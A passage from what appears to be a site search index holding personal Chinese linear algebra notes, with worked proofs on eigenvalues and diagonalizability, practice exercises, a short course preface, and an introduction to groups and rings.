0\\)\uff0c\u5219\\(A\\)\u6709\u4e24\u4e2a\u7279\u5f81\u503c\uff0c\u4e00\u4e2a\u4e3a0\uff0c\u4e00\u4e2a\u4e3a\\(\\alpha^\\mathrm{T}\\beta\\)\uff0c\u56e0\u6b64\\(A\\)\u6709\u4e24\u4e2a\u7279\u5f81\u5b50\u7a7a\u95f4\uff0c\u4e00\u4e2a\u662f0\u5bf9\u5e94\u7684\\(n-1\\)\u7ef4\u7279\u5f81\u5b50\u7a7a\u95f4\uff0c\u4e00\u4e2a\u662f\\(\\alpha^\\mathrm{T}\\beta\\)\u5bf9\u5e94\u7684\u4e00\u7ef4\u7279\u5f81\u5b50\u7a7a\u95f4\uff0c\u56e0\u6b64\\(V\\)\u53ef\u5206\u89e3\u4e3a\u4e24\u4e2a\u7279\u5f81\u5b50\u7a7a\u95f4\u7684\u76f4\u548c\uff0c\u4e0e\\(A\\)\u4e0d\u53ef\u5bf9\u89d2\u5316\u77db\u76fe\uff0c\u56e0\u6b64\\(\\alpha^\\mathrm{T}\\beta=0\\).</p> <p>\u5e42\u96f6\u77e9\u9635\u4e0d\u53ef\u5bf9\u89d2\u5316</p> <p>\u8bbe\\(A\\)\u4e3a\\(n\\)\u9636\u975e\u96f6\u77e9\u9635\uff0c\u4e14\\(A^m=O\\enspace(m\\in\\mathbf{N}_+,\\enspace m&gt;1)\\). \u8bc1\u660e\uff1a\\(A\\)\u4e0d\u53ef\u5bf9\u89d2\u5316\uff1b</p> Answer <p>\u8bbe\\(\\lambda\\)\u662f\\(A\\)\u7684\u7279\u5f81\u503c\uff0c\u7531\u9898\u610f\\(\\lambda^m=0\\)\uff0c\u5373\\(\\lambda=0\\)\uff0c\u56e0\u6b64\\(A\\)\u7684\u6240\u6709\u7279\u5f81\u503c\u90fd\u4e3a0. \u4f46\\(r(A)&gt;0\\)\uff08\u56e0\u4e3a\\(A\\)\u4e0d\u662f\u96f6\u77e9\u9635\uff09\uff0c\u56e0\u6b640\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\u7ef4\u6570\u4e3a\\(n-r(A)&lt;n\\)\uff0c\u56e0\u6b64\\(A\\)\u4e0d\u53ef\u5bf9\u89d2\u5316.</p> <p>\u7ed9\u51fa\u77e9\u9635\u65b9\u7a0b\u95ee\u5bf9\u89d2\u5316</p> <ul> <li> <p>\u8bbe\\(A\\)\u4e3a\\(n\\)\u9636\u77e9\u9635\uff0c\u4e14\\(A^2=2A\\). \u8bc1\u660e\uff1a\\(A\\)\u53ef\u5bf9\u89d2\u5316\uff0c\u5e76\u6c42\u51fa\u4e0e\u4e4b\u76f8\u4f3c\u7684\u5bf9\u89d2\u77e9\u9635\uff08\u6ce8\uff1a\u672c\u9898\u7ed3\u8bba\u53ef\u63a8\u5e7f\u5230\u4efb\u610f\u7684\\(A^2=kA\\)\uff09\uff1b</p> </li> <li> <p>\u8bbe\\(A\\)\u4e3a\u4e8c\u9636\u77e9\u9635\uff0c\u975e\u96f6\u5411\u91cf\\(\\alpha\\)\u4e0d\u662f\\(A\\)\u7684\u7279\u5f81\u5411\u91cf\uff0c\u4e14\\(A^2\\alpha-3A\\alpha+2\\alpha=0\\). \u8bc1\u660e\uff1a\\(\\alpha\\)\u548c\\(A\\alpha\\)\u7ebf\u6027\u65e0\u5173\u4e14\\(A\\)\u53ef\u5bf9\u89d2\u5316\u5e76\u6c42\u4e0e\\(A\\)\u76f8\u4f3c\u7684\u5bf9\u89d2\u77e9\u9635.</p> </li> </ul> Answer <p>1. \u7531\u9898\u610f\\(A^2-2A=O\\)\uff0c\u56e0\u6b64\\(A\\)\u7684\u7279\u5f81\u503c\u5c31\u662f\u65b9\u7a0b\\(\\lambda^2-2\\lambda=0\\)\u7684\u89e3\uff0c\u5373\\(\\lambda_1=0,\\lambda_2=2\\).</p> <p>\u63a5\u4e0b\u6765\u6211\u4eec\u9700\u8981\u8bf4\u660e0\u548c2\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\u7ef4\u6570\u4e4b\u548c\u4e3a\\(n\\)\uff0c\u5373\\(\\dim V_0+\\dim V_2=n\\)\uff0c\u5176\u4e2d\\(V_0\\)\u548c\\(V_2\\)\u5206\u522b\u4e3a0\u548c2\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4. \u4e8b\u5b9e\u4e0a\uff0c\u7531\\(A^2=2A\\)\u53ef\u77e5\\(A(A-2E)=O\\)\uff0c\u7531\u77e5\\(r(A)+r(A-2E)\\leqslant n\\)\uff0c\u53c8\u6839\u636e\u79e9\u4e0d\u7b49\u5f0f\\(r(A)+r(B)\\geqslant r(A+B)\\)\uff0c\u56e0\u6b64\\(r(A)+r(A-2E)=r(A)+r(2E-A)\\geqslant r(A+(2E-A))=r(2E)=n\\). \u7efc\u4e0a\u53ef\u77e5\uff0c\\(r(A)+r(A-2E)=n\\).</p> <p>\u5b9e\u9645\u4e0a\uff0c\\(V_0\\)\u5c31\u662f\\(AX=0\\)\u7684\u89e3\u7a7a\u95f4\uff0c\\(V_2\\)\u5c31\u662f\\((A-2E)X=0\\)\u7684\u89e3\u7a7a\u95f4\uff0c\u56e0\u6b64\\(\\dim V_0=n-r(A),\\dim V_2=n-r(A-2E)\\)\uff0c\u56e0\u6b64\u7531\\(r(A)+r(A-2E)=n\\)\u53ef\u77e5\\(\\dim V_0+\\dim V_2=2n-n=n\\)\uff0c\u53730\u548c2\u5bf9\u5e94\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\u7ef4\u6570\u4e4b\u548c\u4e3a\\(n\\)\uff0c\u56e0\u6b64\\(A\\)\u53ef\u5bf9\u89d2\u5316.</p> <p>\u7531\u4e8e\u53ef\u5bf9\u89d2\u5316\u77e9\u9635\u4ee3\u6570\u91cd\u6570\u7b49\u4e8e\u51e0\u4f55\u91cd\u6570\uff0c\u56e0\u6b64\u7279\u5f81\u503c0\u5bf9\u5e94\u7684\u4ee3\u6570\u91cd\u6570\u4e3a\\(n-r(A)\\)\uff0c\u7279\u5f81\u503c2\u5bf9\u5e94\u7684\u4ee3\u6570\u91cd\u6570\u4e3a\\(r(A)\\)\uff0c\u56e0\u6b64\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\u4e0e\\(A\\)\u76f8\u4f3c\u7684\u5bf9\u89d2\u77e9\u9635\u4e3a\\(\\mathbf{diag}(0,\\ldots,0,2,\\ldots,2)\\)\uff0c\u5176\u4e2d0\u7684\u4e2a\u6570\u4e3a\\(n-r(A)\\)\uff0c2\u7684\u4e2a\u6570\u4e3a\\(r(A)\\).</p> <p>2. \u53cd\u8bc1\u6cd5\uff0c\u5047\u8bbe\\(\\alpha\\)\u548c\\(A\\alpha\\)\u7ebf\u6027\u76f8\u5173\uff0c\u5219\u5b58\u5728\u4e0d\u5168\u4e3a\u96f6\u7684\u5e38\u6570\\(k_1,k_2\\)\u4f7f\u5f97\\(k_1\\alpha+k_2A\\alpha=0\\). \u663e\u7136\\(k_2\\neq 0\\)\uff0c\u56e0\u4e3a\u5047\u8bbe\\(k_2=0\\)\uff0c\u5219\\(k_1\\alpha=0\\)\uff0c\u7531\u4e8e\\(\\alpha\\neq 0\\)\uff0c\u6545\\(k_1=0\\)\uff0c\u8fd9\u4e0e\\(k_1,k_2\\)\u4e0d\u5168\u4e3a0\u77db\u76fe. \u56e0\u6b64\u6211\u4eec\u6709\\(A\\alpha=-\\dfrac{k_1}{k_2}\\alpha\\)\uff0c\u5373\\(\\alpha\\)\u662f\\(A\\)\u7684\u7279\u5f81\u5411\u91cf\uff0c\u8fd9\u4e0e\u9898\u8bbe\u77db\u76fe\uff0c\u56e0\u6b64\\(\\alpha\\)\u548c\\(A\\alpha\\)\u7ebf\u6027\u65e0\u5173.</p> <p>\u7531\u9898\u610f\uff0c\\(A^2\\alpha-3A\\alpha+2\\alpha=0\\)\uff0c\u5373\\((A^2-3A+2E)\\alpha=0\\)\uff0c\u53c8\\(\\alpha\\neq 0\\)\uff0c\u56e0\u6b64\\(A^2-3A+2E\\)\u4e0d\u53ef\u9006\uff0c\u4ece\u800c\\(|A^2-3A+2E|=|E-A||2E-A|=0\\)\uff0c\u6545\\(|E-A|=0\\)\u6216\\(|2E-A|=0\\).</p> <p>\u82e5\\(|E-A|\\neq 0\\)\uff0c\u5219\\(E-A\\)\u53ef\u9006\uff0c\u56e0\u6b64\\((A^2-3A+2E)\\alpha=(E-A)((2E-A)\\alpha)=0\\)\u53ef\u77e5\\((2E-A)\\alpha=0\\)\uff0c\u5373\\(A\\alpha=2\\alpha\\)\uff0c\u6545\\(\\alpha\\)\u4e3a\\(A\\)\u7684\u7279\u5f81\u5411\u91cf\uff0c\u8fd9\u4e0e\u6761\u4ef6\u77db\u76fe\uff0c\u56e0\u6b64\\(|E-A|=0\\). \u540c\u7406\uff0c\\(|2E-A|=0\\)\uff0c\u56e0\u6b64\\(A\\)\u6709\u4e24\u4e2a\u7279\u5f81\u503c1\u548c2\uff0c\u53c8\\(A\\)\u662f2\u9636\u77e9\u9635\uff0c\u56e0\u6b64\u7531\\autoref{cor:\u53ef\u5bf9\u89d2\u5316\u5fc5\u8981\u6761\u4ef6} \u53ef\u77e5\\(A\\)\u4e00\u5b9a\u53ef\u5bf9\u89d2\u5316\uff0c\u4e14\u5bf9\u89d2\u77e9\u9635\u4e3a\\(\\begin{pmatrix}               1 &amp; 0 \\\\               0 &amp; 2           \\end{pmatrix}\\).</p> <p>\u82e5\u5f53\u77e9\u9635\u4e0d\u53ef\u5bf9\u89d2\u5316</p> <p>\u8bc1\u660e\\(r\\)\u9636\u4e0a\u4e09\u89d2\u77e9\u9635\\((r&gt;1)\\)</p> \\[J_0=\\begin{pmatrix}         \\lambda_0 &amp; 1         &amp;        &amp;           \\\\                   &amp; \\lambda_0 &amp; \\ddots &amp;           \\\\                   &amp;           &amp; \\ddots &amp; 1         \\\\                   &amp;           &amp;        &amp; \\lambda_0     \\end{pmatrix}\\] <p>\u4e0d\u4e0e\u5bf9\u89d2\u9635\u76f8\u4f3c.</p> Answer <p>\u9996\u5148\u6c42\u51fa\u7279\u5f81\u591a\u9879\u5f0f\u4e3a\\(f(\\lambda)=|\\lambda E-J_0|=(\\lambda-\\lambda_0)^r\\)\uff0c\u56e0\u6b64\\(J_0\\)\u53ea\u6709\u4e00\u4e2a\u7279\u5f81\u503c\\(\\lambda_0\\)\uff0c\u4e14\u4ee3\u6570\u91cd\u6570\u4e3a\\(r\\).</p> <p>\u63a5\u4e0b\u6765\u6c42\u51e0\u4f55\u91cd\u6570\uff0c\u5373\\(J_0X=\\lambda_0X\\)\u7684\u89e3\u7a7a\u95f4\u7ef4\u6570\uff0c\u5373\\((\\lambda_0 E-J_0)X=O\\)\u7684\u89e3\u7a7a\u95f4\u7ef4\u6570\uff0c\u4e8b\u5b9e\u4e0a\u7531\u4e8e\\(r(\\lambda_0 E-J_0)=r-1\\)\uff0c\u56e0\u6b64\u89e3\u7a7a\u95f4\u7ef4\u6570\u4e3a\\(r-(r-1)=1\\)\uff0c\u5373\u51e0\u4f55\u91cd\u6570\u4e3a\\(1&lt;r\\)\uff0c\u56e0\u6b64\u4e0d\u53ef\u5bf9\u89d2\u5316</p> <p>AB=BA</p> <p>\u8bbe \\( A, B \\in M_n(\\mathbf{F}) \\), \\( AB = BA \\), \u8bc1\u660e\uff1a</p> <ol> <li>\u82e5 \\( X \\) \u662f\u77e9\u9635 \\( A \\) \u5c5e\u4e8e\u7279\u5f81\u503c \\( \\lambda_0 \\) \u7684\u7279\u5f81\u5411\u91cf\uff0c\u5219 \\( BX \\in V_{\\lambda_0} \\).</li> <li>\\( A \\) \u548c \\( B \\) \u81f3\u5c11\u6709\u4e00\u4e2a\u5171\u540c\u7684\u7279\u5f81\u5411\u91cf.</li> <li>\\( A \\) \u6709 \\( n \\) \u4e2a\u4e0d\u540c\u7684\u7279\u5f81\u503c\u5219</li> <li>\\( AB = BA \\) \u5f53\u4e14\u4ec5\u5f53 \\( A \\) \u7684\u7279\u5f81\u5411\u91cf\u4e5f\u662f \\( B \\) \u7684\u7279\u5f81\u5411\u91cf.</li> <li>\u5b58\u5728\u6b21\u6570\u5c0f\u4e8e\u7b49\u4e8e \\( n-1 \\) \u7684\u591a\u9879\u5f0f \\( f(x) \\) \u4f7f\u5f97 \\( B = f(A) \\).</li> <li>\u82e5 \\( A, B \\) \u5747\u53ef\u5bf9\u89d2\u5316\uff0c\u5219\u5bf9\u89d2\u5316\u7684\u8fc7\u6e21\u77e9\u9635\u53ef\u4ee5\u76f8\u540c\uff08\u540c\u65f6\u5bf9\u89d2\u5316\uff09.</li> <li>\\( A, B \\) \u53ef\u4ee5\u540c\u65f6\u4e0a\u4e09\u89d2\u5316\uff0c\u5373\u5b58\u5728\u53ef\u9006\u77e9\u9635 \\( P \\) \u4f7f\u5f97 \\( P^{-1}AP \\) \u548c \\( P^{-1}BP \\) \u90fd\u662f\u4e0a\u4e09\u89d2\u77e9\u9635.</li> </ol> <p>\u8bbe \\( n \\) \u9636\u65b9\u9635 \\( A \\) \u548c \\( B \\) \u90fd\u53ef\u5bf9\u89d2\u5316\uff0c\u5e76\u4e14\u5b83\u4eec\u6709\u76f8\u540c\u7684\u7279\u5f81\u5b50\u7a7a\u95f4\uff08\u4f46\u4e0d\u4e00\u5b9a\u6709\u76f8\u540c\u7684\u7279\u5f81\u503c\uff09\uff0c\u8bc1\u660e \\( AB = BA \\).</p>"},{"location":"NOTE/LA/eigenvalue/#_11","title":"\u4e60\u9898","text":"<ul> <li> <p>\u8bbe\\(A\\)\u4e3an\u9636\u590d\u65b9\u9635,\\(P\\)\u4e3a\u53ef\u9006\u77e9\u9635\u3002\u8bc1\u660e\\(tr(A)=tr(P^{-1}AP)\\)</p> </li> <li> <p>\u5df2\u77e5\\(A\\)\u4e3a3\u9636\u77e9\u9635\uff0c\u7279\u5f81\u503c\u4e3a1\uff0c2\uff0c3;\u6c42\\(|A^2+4A+E|\\)</p> </li> <li> <p>\u8bc1\u660e:\u82e5\\(A^2-(\\lambda_1+\\lambda_2)A+\\lambda_1 \\lambda_2 E = O,\\lambda_1 \\neq \\lambda_2\\),\u5219\\(A\\)\u53ef\u5bf9\u89d2\u5316(Hint:\u77e9\u9635\u65b9\u7a0b\u53ef\u5bf9\u89d2\u5316\u6761\u4ef6),\u5e76\u5224\u65ad\u4ee5\u4e0b\u8bf4\u6cd5\u8bf4\u6cd5\u54ea\u4e00\u4e2a\u6b63\u786e</p> <ul> <li>\\(A\\)\u7684\u7279\u5f81\u503c\u517c\u6709\u4e00\u5b9a\u517c\u6709\\(\\lambda_1\\)\u548c\\(\\lambda_2\\)</li> <li>\\(A\\)\u53ef\u5bf9\u89d2\u5316\uff0c\u4f46\u5176\u7279\u5f81\u503c\u4e0d\u4e00\u5b9a\u540c\u65f6\u6709\\(\\lambda_1\\)\u548c\\(\\lambda_2\\),\u53ef\u80fd\u4e3a\\(\\lambda_1\\)\u548c\\(\\lambda_1\\),\\(\\lambda_2\\)\u548c\\(\\lambda_2\\),\u6216\u8005\\(\\lambda_1\\)\u548c\\(\\lambda_2\\)</li> </ul> </li> <li> <p>\u8bc1\u660e\u79e9\u4e3a1\u7684\u5411\u91cf\u53ef\u4ee5\u5199\u4e3a\\(\\alpha^\\mathrm{T}\\beta\\),(\u56de\u5fc6\u76f8\u62b5\u6807\u51c6\u578b~)</p> </li> <li> <p>\u8bbe \\(\\alpha\\) \u4e3a \\(n\\) \u7ef4\u5b9e\u5411\u91cf\u4e14 \\(\\alpha^\\mathrm{T} \\alpha =1\\),\u6c42\u77e9\u9635\\(I-\\alpha \\alpha^\\mathrm{T}\\)\u7684\u7279\u5f81\u503c(Hint: \u7279\u5f81\u591a\u9879\u5f0f\u5c55\u5f00)</p> </li> <li> <p>\\(A,B\\)\u90fd\u662f\\(n\\)\u9636\u77e9\u9635\uff0c\u8bc1\u660e\\(AB+B\\)\u4e0e\\(BA+B\\)\u6709\u76f8\u540c\u7684\u7279\u5f81\u503c.(Hint:\u8bc1\u660e\u76f8\u4f3c)</p> </li> <li> <p>\u5224\u65ad\u5e76\u8bc1\u660e\uff1a\\(n\\)\u9636\u65b9\u9635\\(A\\)\u6ee1\u8db3\\(A^2-5A+5E_n=0\\)\uff0c\u5219\u5bf9\u4e8e\u6240\u6709\u7684\u6709\u7406\u6570\\(r\\),\u6709\\(A+rE_n\\)\u53ef\u9006</p> </li> <li> <p>\u8bb0 </p> </li> </ul> \\[     X = \\left\\{ \\begin{pmatrix} a_{11} &amp; a_{12} &amp; a_{13} \\\\ a_{21} &amp; a_{22} &amp; a_{23} \\\\ a_{31} &amp; a_{32} &amp; a_{33} \\end{pmatrix} \\in M_{3 \\times 3}(\\mathbb{R}) \\ \\middle| \\ \\sum_{j=1}^{3} a_{1j} = \\sum_{j=1}^{3} a_{2j} = \\sum_{j=1}^{3} a_{3j} = \\sum_{i=1}^{3} a_{ij} \\right\\}. \\] <p>\u8bc1\u660e\uff1a</p> <ol> <li>\\(X\\) \u662f \\(M_{3 \\times 3}(\\mathbb{R})\\) \u7684\u4e00\u4e2a\u5b50\u7a7a\u95f4\uff0c\u5e76\u6c42\u8be5\u5b50\u7a7a\u95f4\u7684\u7ef4\u6570\uff1b</li> <li>\u5bf9\u4efb\u610f\u53ef\u9006\u77e9\u9635 \\(A \\in X\\)\uff0c\\((1, 1, 1)^\\mathrm{T}\\) \u662f \\(A\\) \u548c \\(A^{-1}\\) \u7684\u7279\u5f81\u5411\u91cf\uff1b</li> <li>\u5bf9\u4efb\u610f\u53ef\u9006\u77e9\u9635 \\(A \\in X\\)\uff0c\\(A^{-1} \\in X\\)\u3002</li> </ol>"},{"location":"NOTE/LA/linear-algebra/","title":"\u7ebf\u6027\u4ee3\u6570\u4e2a\u4eba\u7b14\u8bb0","text":"<p> \u7ea6 309 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 1 \u5206\u949f</p>"},{"location":"NOTE/LA/linear-algebra/#_2","title":"\u53d1\u70b9\u7262\u9a9a","text":"<p>\u7ebf\u6027\u4ee3\u6570\u4e00\u5f00\u59cb\u7ed9\u6211\u7684\u611f\u89c9\u5e76\u6ca1\u6709\u5341\u5206\u4ee4\u4eba\u559c\u6b22\uff0c\u751a\u81f3\u4e0a\u7b2c\u4e00\u8282\u8bfe\u7684\u65f6\u5019\u8fd8\u89c9\u5f97\u8fd9\u95e8\u8bfe\u6709\u4e9b\u4e0d\u77e5\u6240\u4e91\uff1a\u89e3\u65b9\u7a0b\uff0c\u89e3\u65b9\u7a0b\u6709\u4ec0\u4e48\u597d\u8bb2\u7684\u3002\u5728\u4e0a\u5927\u5b66\u4ee5\u524d\u4ece\u6ca1\u6709\u63a5\u89e6\u8fc7\u7684\u4ee3\u6570\u7ed3\u6784\u4ee5\u53ca\u8bb8\u591a\u62bd\u8c61\u7684\u63cf\u8ff0\u4e5f\u8ba9\u6211\u75db\u82e6\u4e86\u6709\u8fd9\u4e48\u4e00\u4f1a\u513f\u3002</p> <p>\u597d\u50cf\u987f\u609f\u662f\u4e00\u77ac\u95f4\u7684\u4e8b\uff0c\u76ef\u7740\u90a3\u4e9b\u7b26\u53f7\u5728\u4e00\u4e2a\u60f3\u8c61\u4e2d\u7684\"\u7ebf\u6027\u7a7a\u95f4\"\u53d8\u6765\u53d8\u53bb\uff0c\u5f53\u4ed6\u4eec\u5177\u4f53\u5316\u4ee5\u540e\u53c8\u80fd\u89e3\u51b3\u4e00\u4e2a\u4e2a\u5b9e\u9645\u7684\u6570\u5b66\u95ee\u9898\u3002\u8fd9\u4e5f\u592a\u7f8e\u4e86\u3002</p> <p>\u8fd9\u4e2a\u5b66\u671f\u5b66\u5b8c\u4e86\u7ebf\u4ee3\u4e8c\u4e4b\u540e\uff0c\u4f3c\u4e4e\u6211\u5c31\u4e0e\u8fd9\u95e8\u8bfe\u6ca1\u4ec0\u4e48\u4ea4\u96c6\u4e86\u3002\u4f46\u662f\u6211\u60f3\u628a\u6211\u5b66\u5230\u7684\u4e1c\u897f\u8bb0\u4e0b\u6765\uff0c\u4e0d\u5fcd\u8ba9\u5b83\u4eec\u5728\u6211\u7684\u8111\u6d77\u91cc\u968f\u65f6\u95f4\u6162\u6162\u6de1\u53bb</p> <p>\u6700\u540e\uff0c\u611f\u8c22\u6559\u6388\u8fd9\u95e8\u8bfe\u7684\u5434\u5fd7\u7965\u8001\u5e08\uff0c\u8ba9\u6211\u4e00\u6b65\u4e00\u6b65\u611f\u53d7\u5230\u7ebf\u6027\u4ee3\u6570\u7684\u7f8e\u5999\u3002</p> <p>\u5434\u7237\u7237:\u6211\u8fd9\u95e8\u8bfe\u5f88\u7b80\u5355\uff0c\u53ea\u6709\u7b80\u5355\u7684\u52a0\u51cf\u4e58\u9664\u56db\u5219\u8fd0\u7b97\uff0c\u751a\u81f3\u9664\u6cd5\u90fd\u4e0d\u592a\u9700\u8981.</p> <p>\u4e5f\u611f\u8c22\u7afa\u53ef\u6862\u5b66\u9662\u7684\u8f85\u5b66\u5b66\u957f\u4eec\u4ee5\u53ca\u7279\u522b\u9e23\u8c22\u65f7\u4e16\u5de8\u4f5cLALU</p>"},{"location":"NOTE/LA/note/","title":"\u6211\u4e0d\u66f4\u4e86\uff0c\u6211\u5199LALU\u53bb\u4e86","text":"<p> \u7ea6 9 \u4e2a\u5b57 </p>"},{"location":"NOTE/LA/%E5%89%8D%E7%BD%AE%E7%9F%A5%E8%AF%86/","title":"\u524d\u7f6e\u77e5\u8bc6","text":"<p> \u7ea6 2618 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 9 \u5206\u949f</p>"},{"location":"NOTE/LA/%E5%89%8D%E7%BD%AE%E7%9F%A5%E8%AF%86/#_2","title":"\u57fa\u672c\u7684\u4ee3\u6570\u7ed3\u6784","text":"<p>\u5434\u7237\u7237\u5728\u6bcf\u8282\u8bfe\u672b\u5c3e\u90fd\u4f1a\u98d9\u8f66,\u7b2c\u4e00\u8282\u8bfe\u8d77\u98de\u7684\u662f\u7fa4\u73af\u57df</p> <p>\u4ee3\u6570\u7cfb\u7edf\u662f\u4ec0\u4e48</p> <p>\u4ee3\u6570\u7cfb\u7edf</p> <p>\u4e00\u822c\u5730,\u6211\u4eec\u628a\u4e00\u4e2a\u975e\u7a7a\u96c6\u5408 \\(X\\) \u548c\u5728 \\(X\\) \u4e0a\u5b9a\u4e49\u7684\u82e5\u5e72\u4ee3\u6570\u8fd0\u7b97 \\(f_1,...,f_k\\) \u7ec4\u6210\u7684\u7cfb\u7edf\u79f0\u4e3a\u4ee3\u6570\u7cfb\u7edf\uff08\u7b80\u79f0\u4ee3\u6570\u7cfb\uff09,\u8bb0\u4f5c \\(&lt;X:f_1,...,f_k&gt;\\)</p> <p>\u8bf4\u767d\u4e86,\u4ee3\u6570\u7cfb\u7edf\u5c31\u662f\u628a\u4e00\u4e2a\u96c6\u5408,\u4ee5\u53ca\u4f60\u80fd\u5bf9\u8fd9\u4e2a\u96c6\u5408\u4e2d\u7684\u5143\u7d20\u8fdb\u884c\u4ec0\u4e48\u64cd\u4f5c\u544a\u8bc9\u4f60\u3002</p> <p>\u4e3e\u4e2a\u4f8b\u5b50,\u6211\u4eec\u5c0f\u5b66(\u6216\u8005\u662f\u5e7c\u513f\u56ed\uff1f)\u5b66\u8fc7\u7684\u6574\u6570(\\(\\mathbf{Z}\\))\u7684\u52a0\u6cd5(+)\u5c31\u662f\u4e00\u79cd\u4ee3\u6570\u7cfb\uff08\\(&lt;\\mathbf{Z},+&gt;\\)\uff09</p> <p>\u8981\u6ce8\u610f\u7684\u662f,\u4ee3\u6570\u7cfb\u7edf\u4e0a\u5b9a\u4e49\u7684\u8fd0\u7b97\u5fc5\u987b\u4fdd\u8bc1\u5c01\u95ed\u6027,\u4e5f\u5c31\u662f\u8fd0\u7b97\u540e\u7684\u7ed3\u679c\u5fc5\u987b\u4ecd\u7136\u5728\u96c6\u5408 \\(X\\) \u4e2d</p> <p>\u5728\u6574\u6570\u7684\u52a0\u6cd5\u4e2d,\u6211\u4eec\u6709\u4ee5\u4e0b\u8fd0\u7b97\u6027\u8d28</p> <ul> <li>\u7ed3\u5408\u5f8b \\((a+b)+c=a+(b+c)\\)</li> <li>\u5355\u4f4d\u5143\uff1a\u5b58\u5728\u4e00\u4e2a\u5143\u7d20 0,\u4f7f\u5f97 \\(a+0=0+a=a\\)\uff1b</li> <li>\u9006\u5143\uff1a\u5bf9\u4e8e\u4efb\u610f\\(a\\),\u5b58\u5728\u4e00\u4e2a\u5143\u7d20\\(\u2212a\\),\u4f7f\u5f97 \\(a+(\u2212a)=(\u2212a)+a = 0\\) \u3002\\(0\\) \u4e3a\u5355\u4f4d\u5143\uff1b</li> <li>\u4ea4\u6362\u5f8b\uff1a\\(a+b=b+a\\)</li> </ul> <p>\u5e73\u5e73\u65e0\u5947,\u5bf9\u5427,\u90a3\u4e48\u6211\u4eec\u73b0\u5728\u6765\u62bd\u8c61\u4e00\u4e0b</p> <p>\u5728\u96c6\u5408\\(G\\)\u4e0a\u7684\u8fd0\u7b97\\(\u25e6\\),\u6211\u4eec\u6709\u4ee5\u4e0b\u6027\u8d28</p> <ul> <li>\u7ed3\u5408\u5f8b \\((a \u25e6 b) \u25e6 c=a \u25e6 (b \u25e6 c)\\)</li> <li>\u5355\u4f4d\u5143\uff1a\u5b58\u5728\u4e00\u4e2a\u5143\u7d20 \\(e\\),\u4f7f\u5f97 \\(a \u25e6 e=e \u25e6 a=a\\)\uff1b</li> <li>\u9006\u5143\uff1a\u5bf9\u4e8e\u4efb\u610f\\(a\\),\u5b58\u5728\u4e00\u4e2a\u5143\u7d20\\(\\overline{a}\\),\u4f7f\u5f97 \\(a \u25e6 \\overline{a} =  \\overline{a} \u25e6 a = e\\) \\(e\\) \u4e3a\u5355\u4f4d\u5143\uff1b</li> <li>\u4ea4\u6362\u5f8b\uff1a\\(a \u25e6 b=b \u25e6 a\\)</li> </ul> <p>\u6ce8\u610f\u4e0a\u9762\u7684\u5b9a\u4e49\u662f\u62bd\u8c61\u7684,\u5ffd\u7565\u96c6\u5408\u4e2d\u5143\u7d20\u7684\u610f\u4e49\u5dee\u5f02\uff08\u5143\u7d20\u53ef\u4ee5\u8868\u793a\u5b9e\u6570,\u4e5f\u53ef\u4ee5\u5728\u8868\u793a\u5e73\u9762\u5411\u91cf\u7b49\u51e0\u4f55\u5bf9\u8c61\uff09,\u540c\u65f6\u4e5f\u53ef\u4ee5\u5ffd\u7565\u8fd0\u7b97\u5b9a\u4e49\u7684\u5dee\u5f02,\u53ea\u5173\u5fc3\u8fd0\u7b97\u4f5c\u7528\u4e8e\u96c6\u5408\u5143\u7d20\u7684\u6027\u8d28.</p> <p>\u63a5\u4e0b\u6765,\u6211\u4eec\u5c31\u53ef\u4ee5\u4ecb\u7ecd\u7fa4,\u73af,\u57df\u4e09\u4e2a\u4ee3\u6570\u7cfb\u7edf\u4e86</p> <p>\u7fa4</p> <p>\u82e5\u8fd0\u7b97 \u25e6 \u6ee1\u8db3\u7ed3\u5408\u5f8b,\u5219\u79f0\u4ee3\u6570\u7cfb\u7edf \\(\u3008G : \u25e6\u3009\\) \u4e3a\u534a\u7fa4\uff1b\u82e5\u5728\u534a\u7fa4\u57fa\u7840\u4e0a\u5b58\u5728\u5355\u4f4d\u5143, \u5219\u79f0\u4e4b\u4e3a\u542b\u5e7a\u534a\u7fa4\uff1b\u82e5\u5728\u542b\u5e7a\u534a\u7fa4\u57fa\u7840\u4e0a\u6bcf\u4e2a\u5143\u7d20\u5b58\u5728\u9006\u5143,\u5219\u79f0\u4e4b\u4e3a\u7fa4\uff1b\u82e5\u5728\u7fa4\u7684 \u57fa\u7840\u4e0a\u8fd0\u7b97\u8fd8\u6ee1\u8db3\u4ea4\u6362\u5f8b,\u5219\u79f0\u4e4b\u4e3a Abel \u7fa4,\u4e5f\u79f0\u4ea4\u6362\u7fa4.</p> <ul> <li>\u7fa4\u7684\u5355\u4f4d\u5143\u552f\u4e00\uff1a\u82e5\u5b58\u5728\u4e24\u4e2a\u5355\u4f4d\u5143\\(e_1,e_2\\),\u5219\\(e_1=e_1\u25e6 e_2=e_2\\)</li> <li>\u7fa4\u4e2d\u6bcf\u4e00\u4e2a\u5143\u7d20\u9006\u5143\u552f\u4e00:\u8bbe \\(b\\) \u548c \\(c\\) \u90fd\u662f \\(a\\) \u7684\u9006\u5143,\u5219 \\(b = b \u25e6 e = b \u25e6 (a \u25e6 c) = (b \u25e6 a) \u25e6 c = e \u25e6 c = c.\\)</li> </ul> <p>\u73af</p> <p>\u6211\u4eec\u79f0\u4ee3\u6570\u7cfb\u7edf \\(\u3008R : +, \u25e6\u3009\\) \u4e3a\u4e00\u4e2a\u73af,\u5982\u679c</p> <ol> <li>\\(\u3008R : +\u3009\\) \u662f\u4ea4\u6362\u7fa4,\u5176\u5355\u4f4d\u5143\u8bb0\u4f5c 0\uff1b</li> <li>\\(\u3008R : \u25e6\u3009\\) \u662f\u5e7a\u534a\u7fa4\uff1b</li> <li>\u8fd0\u7b97 \\(\u25e6\\) \u5bf9 \\(+\\) \u6ee1\u8db3\u5de6\u3001\u53f3\u5206\u914d\u5f8b,\u5373</li> </ol> <p>\\(a \u25e6 (b + c) = a \u25e6 b + a \u25e6 c\\)</p> <p>\\((b + c) \u25e6 a = b \u25e6 a + c \u25e6 a\\)</p> <p>\u82e5\u8fdb\u4e00\u6b65\u6bcf\u4e2a\u975e 0\uff08+ \u8fd0\u7b97\u5355\u4f4d\u5143\uff09\u5143\u7d20\u5173\u4e8e \u25e6 